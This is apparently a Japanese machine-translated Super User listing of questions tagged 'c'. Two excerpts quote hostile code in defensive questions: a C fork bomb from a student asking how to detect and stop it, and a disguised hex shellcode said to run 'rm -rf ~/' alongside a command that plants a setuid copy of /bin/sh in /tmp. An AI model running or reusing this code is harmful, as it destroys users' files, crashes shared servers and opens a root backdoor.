タグ付けされた質問 「c」

Cは、オペレーティングシステム、ゲーム、その他の高性能作業に使用される汎用のコンピュータープログラミング言語であり、C ++とは明らかに異なります。Cでのプログラミングに関する質問はトピックから外れており、クローズまたは移行されます。代わりにスタックオーバーフローで質問することを検討してください。


4
GitHubからダウンロードしたWindowsプログラム(Cで作成)をインストールするにはどうすればよいですか?
GitHubから単純なWindowsプログラムをダウンロードしました(関連がある場合はこれです)。ZIPファイルとしてダウンロードしましたが、インストール方法がわかりません。Cで書かれていると思います。コンパイラが必要ですか?(Visual Studio?)私が見逃している簡単なものはありますか?
44 windows-7  c 

3
Microsoft Office Wordの構文強調表示[複製]
重複の可能性: WordでPHPコードの構文を簡単に強調するにはどうすればよいですか? 私は、Microsoft Office Wordでいくつかのコード(ANSI C)を貼り付ける必要があり、私は(代わりに、単純にフォントを変更するのシンタックスハイライトのいくつかのフォームを必要としますLucida Console) Microsoft Office Wordのコード構文を強調できるようなアドオンがありますか?

2
フォークボムを停止して検出する方法
#include <stdlib.h> #include <unistd.h> int main() { while(1) fork(); } これはフォーク爆弾のコードです。 私たちの大学では、telnet、つまりクライアントサービスプロトコルを介して接続します。約100台のシステムがサーバーに接続されています。突然サーバーが遅くなり、しばらくしてからクラッシュしました。sombodyがフォーク爆弾を実装していることを知りました。 どのシステムでフォークボムが実装されているかをどのように検出できますか?そして、どうすればそれを止めることができますか? 1つの方法は、1人のユーザーが所有できるプロセスの最大数を制限することです。それを停止し、どのシステムから実装されているかを知る方法はありますか?


1
emacs — C / C ++は包含ブロックの先頭にジャンプします
emacsでCまたはC ++ファイルを編集しているときに、コードが含まれているブロックの先頭に移動できるようにしたいと考えています。私はc-beginning-of-block関数を見つけることを期待していましたが、残念ながら、そのような関数は存在しません(私の知る限り)。たとえば、次の醜いCコードを編集している可能性があります。 void myFunction() { if (something) { //<--- I want to jump to this brace! // do lots of stuff if (stuff) { // stuff } // more stuff // ... // I want to put my cursor somewhere on this line <--- // (anywhere just outside the following …
10 emacs  c++  c 

2
`sizeof` C関数のmanページはどこにありますか?
sizeofC関数のmanページがないのはなぜですか? $ man 3 sizeof No manual entry for sizeof in section 3 $ man sizeof No manual entry for sizeof 他のC関数と同様のコマンドmallocを実行man 3 mallocした場合などのマニュアルページは表示されますが、では何も表示されませんsizeof。
10 linux  c  man 

3
'>'がgccからエラーメッセージをリダイレクトしないのはなぜですか?
次のプログラムをnew.cに保存しました int main() { a; return 0; } エラーメッセージを返します。このメッセージをファイルに送信したい。だから私は次のコマンドを使用しました gcc new.c > temp.txt しかし、それでも私はターミナルで出力を得ていました。私はUbuntu 13.04を使用しています。どうすれば機能させることができますか?
9 c  shell  gcc 

2
パッチが適用されたUDFファイルシステム/不良セクターでDVDをコピーする方法
dd、dd_rescue、ddrescueを試しましたが、すべて失敗しました。 以来AnyDVDのは win7のホスト上の第二にディスクのコピー可能になり、それはあまりにも難しいことではありません。不思議なことに、UDFファイルシステムにはパッチが適用されており、不良セクターは存在しないとも書かれています。DVD全体が10分でコピーされます。AnyDVDは何をしますか? AnyDVDは、VirtualBoxのゲストWinXPで実行すると同じことを報告しますが、コピー中に不良セクターが発生します。ネイティブWin7でも問題ありません。AnyDVDではDVDドライブを十分に制御できないため、Linuxホストがディスクを読み取ろうとしたときに問題が既に発生していると思います。 ddはだまされ、終了しますが、小さなファイルを生成し、終了したことを示します。 dd_rescuseとddrescueは読み取りエラーについて不平を言っており、許容できないほど遅いです。これらのツールは、10分で数MBしかコピーできません。 なぜこれが起こっているのですか、なぜこれらのツールは失敗していますか? 自分のDVDをハードディスクにコピーして、後で再生できるようにするにはどうすればよいですか? できればLinuxホストでの永続的な解決策を探していますが、VirtualBoxとWinXP、およびフリーウェア/シェアウェアツールが関係する場合があります。ソリューションがオープンソース/フリーウェアツールのみを含み、シェアウェアソフトウェアを含まない限り、ネイティブウィンドウも許容されます。 関連する質問: 不良セクターのあるDVDからデータをコピーする(私の質問が移行された後にこれが見つかりました) 読み取りエラーを無視した光学メディアからの回復 欠陥のあるDVDからハードディスクにデータをコピーするにはどうすればよいですか? 更新:結局のところ、私はあまりにも多くのレベルに夢中になっています。AnyDVDを使用してしまいました。

3
GDBでは、どのようにして最上位の呼び出しスタックフレームに直接ジャンプできますか?
私は、無限再帰的な混乱に深く下降した後にフォールトをセグメント化するCプログラムを持っています。コールスタックフレームは少なくとも 1000フレームの深さであり、繰り返される関数呼び出しは4つの一般的な再帰関数呼び出しの連続であるため、GDBでのプロセスのバックトレースは役に立ちません(したがって、ブレークポイントは役に立たないようです)。backtraceを繰り返し呼び出すと、4つの関数名が何度も何度も読み取られます。「up」、「up」、「up」を実行すると、さらに高くなるので、このパターンが最初に発生した場所を確認できましたが、最上位の呼び出しから開始する方が効率的であるようですフレームをスタックし、代わりにステップダウンします。これは、無限の再帰がプロセスの早い段階で開始されることが私の直感であるからです。コールスタックのフレーム数が合計Nだった場合、 gdb>> up N スタックの最上部(N番目のフレーム)に到達するには、Nがわからないという問題があります。コールスタック内のフレームの総数を見つけるコマンドはありますか?または、一番上のフレームにジャンプするための洗練された組み込みGDBコマンドはありますか?一番上のフレームがmain()関数であるべきだと思いました-その知識を利用して一番上のフレームに到達できますか?
9 debug  c  gdb 


2
Notepad ++で別のファイルのC関数の定義に移動する
SourceCookifierプラグインを使用してNotepad ++ 5.6.7(Unicode)でCプロジェクトを編集しているときに、Ctrl + Shift + Enterを押して、カーソルが置かれている関数の定義に移動できますが、同じファイル内にある場合のみです。 別のファイル(たとえば、ネイティブまたはSourceCookifier(推奨)または別のプラグインを使用)の中にある場合、どうすればその定義に進むことができますか?
8 notepad++  plugins  c  code 

1
どのようにhexコマンドはrm -rf〜/&になりますか?
次の悪意のあるコマンドは、コンパイル時にどのようにrm -rf〜/&になりますか? char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
2 linux  bash  c 


0
Linux From Scratch Projectとは何ですか? [閉まっている]
私は「Linux」オペレーティングシステム開発に目を向けています。問い合わせをしたところ、最初からLinux From Scratch(LFS)が良いと思いました。 LFSの本をダウンロードして読み始めました。 私はその本を読んだ後に何ができるようになるのか全くわかりません(結果)。それは本の完成時にどこにあるかについては何も述べていません。 私が本で見つけることができるのはパッケージをインストールしてディストリビューションを構築することだけです、そしてそれはLFS、BLFSなどとして続きます... 質問1: 誰もがLFSの本を無事に完成させた後に私が何ができるだろうかを説明することができますか。 質問2: この質問は私の熱心さのためです。この本を完成させたら、少なくとも端末ベースのLinuxディストリビューションを開発することはできますか? もしそうなら、完全なプロセス(最小のLFSの構築)が段階的に説明されている(LFS以外の書籍)リンクを誰かに教えてもらえますか。 ありがとう。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.